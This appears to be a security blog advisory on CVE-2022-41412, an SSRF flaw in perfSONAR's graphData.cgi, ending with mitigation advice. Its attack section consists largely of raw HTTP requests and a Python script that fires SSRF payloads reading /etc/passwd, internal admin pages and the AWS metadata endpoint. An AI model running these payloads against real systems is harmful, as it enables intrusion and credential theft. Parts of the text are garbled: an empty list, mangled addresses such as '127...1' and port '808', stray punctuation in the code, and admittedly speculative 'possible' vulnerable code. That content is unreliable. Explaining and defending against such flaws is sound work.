CVE-2022-41412 - How a Hidden SSRF Flaw in perfSONAR’s graphData.cgi Put Sensitive Data at Risk

In the quest for high-performance networking, perfSONAR has become a go-to toolkit for monitoring and troubleshooting networks. Many universities, research labs, and enterprises trust it every day. However, a low-key but dangerous vulnerability discovered in 2022, known as CVE-2022-41412, threatened the confidentiality and integrity of data in every deployment running perfSONAR v4.4.5 or earlier.

This long read explains what happened, how the attack works, and how you can defend your networks against similar threats in the future.

What is CVE-2022-41412?

CVE-2022-41412 is a vulnerability in the graphData.cgi component of perfSONAR versions 4.4.5 and prior. It enables attackers to access sensitive information and perform Server-Side Request Forgery (SSRF) attacks.

Basically, it means a hacker can trick perfSONAR’s web service into sending requests to resources that the attacker shouldn’t otherwise be able to reach. This might include files and services inside a private network or even on the same server as perfSONAR itself.

Why is SSRF Dangerous?

Server-Side Request Forgery allows attackers to use your server like a puppet. They request special URLs, and your trusted server fetches the data for them. Since your server can access resources that aren’t visible to “outside” users (like internal databases, admin panels, cloud metadata endpoints), this opens up a lot of attack possibilities:

What Went Wrong in perfSONAR’s graphData.cgi?

The root problem is insufficient input validation in the script graphData.cgi. This component is responsible for visualizing time-series data (like network latency and throughput). But because it allowed outside users to pass arbitrary URLs or file locations for loading data, an attacker could exploit it to fetch anything the server itself could reach.

Here’s a simplified vulnerable code snippet of what might be happening in graphData.cgi

# Simplified pseudo-code based on possible vulnerable logic
my $data_url = param('data');
if ($data_url) {
    # Not enough validation here!
    my $data = get($data_url); # Could be http://, file://, or internal IP
    print $data;
}

By manipulating the data parameter in their HTTP request, an attacker can fetch

- Internal files: file:///etc/passwd
- Internal HTTP services: http://127...1/admin
- Cloud secrets: (on AWS EC2) http://169.254.169.254/latest/meta-data/

`http

GET /perfsonar-graphs/cgi-bin/graphData.cgi?data=file:///etc/passwd HTTP/1.1

Server Reads and Returns Restricted Data

If the server reads and returns this file’s content, the attacker has exfiltrated sensitive information.

Server as a Proxy for SSRF

Swap in a local or internal IP in the data parameter. For example, to probe the local metadata service on a cloud instance:

`

GET /perfsonar-graphs/cgi-bin/graphData.cgi?data=http://169.254.169.254/latest/meta-data/ HTTP/1.1

Escalate the Attack

With the right SSRF payloads, attackers may extract cloud credentials or pivot deeper into the network.

Let’s walk through what a script might look like to automate this attack

import requests

target = 'http://victim-perfsonar.com/perfsonar-graphs/cgi-bin/graphData.cgi';
payloads = [
    'file:///etc/passwd',
    'http://127...1:808/admin';,
    'http://169.254.169.254/latest/meta-data/'
]

for p in payloads:
    params = {'data': p}
    r = requests.get(target, params=params)
    print(f'Payload: {p}\nResponse:\n', r.text[:200], '\n' + '-'*20)

This script automates SSRF payloads to see if sensitive local files or internal resources can be accessed via the vulnerable script.

Update Immediately:

Upgrade perfSONAR to the latest version. Fixes are available from perfSONAR’s official downloads.

Block Untrusted Input:

Never let external input reach file or URL handlers without strict validation. Only allow safe, expected data sources.

Restrict Network Access:

Limit which hosts can access perfSONAR’s web services. Place them behind VPNs or internal firewalls where possible.

Monitor Logs:

Watch for unusual requests to CGI scripts. Unexpected file:// or internal IPs in your logs are a red flag.

Conclusion

CVE-2022-41412 is a classic example of how a seemingly small oversight in input validation can turn into a devastating security flaw. SSRF vulnerabilities like this can open up entire new attack surfaces for hackers and put your sensitive enterprise or academic data at risk.

Action items:
If you run perfSONAR, double-check your version, upgrade now, and consider tightening access controls. For everyone designing web applications — never trust user input, especially when it comes to file paths or URLs.

Have more questions or want to see if you’re affected? Check out the official perfSONAR update page or join their support community.

Timeline

Published on: 11/30/2022 05:15:00 UTC
Last modified on: 12/02/2022 14:47:00 UTC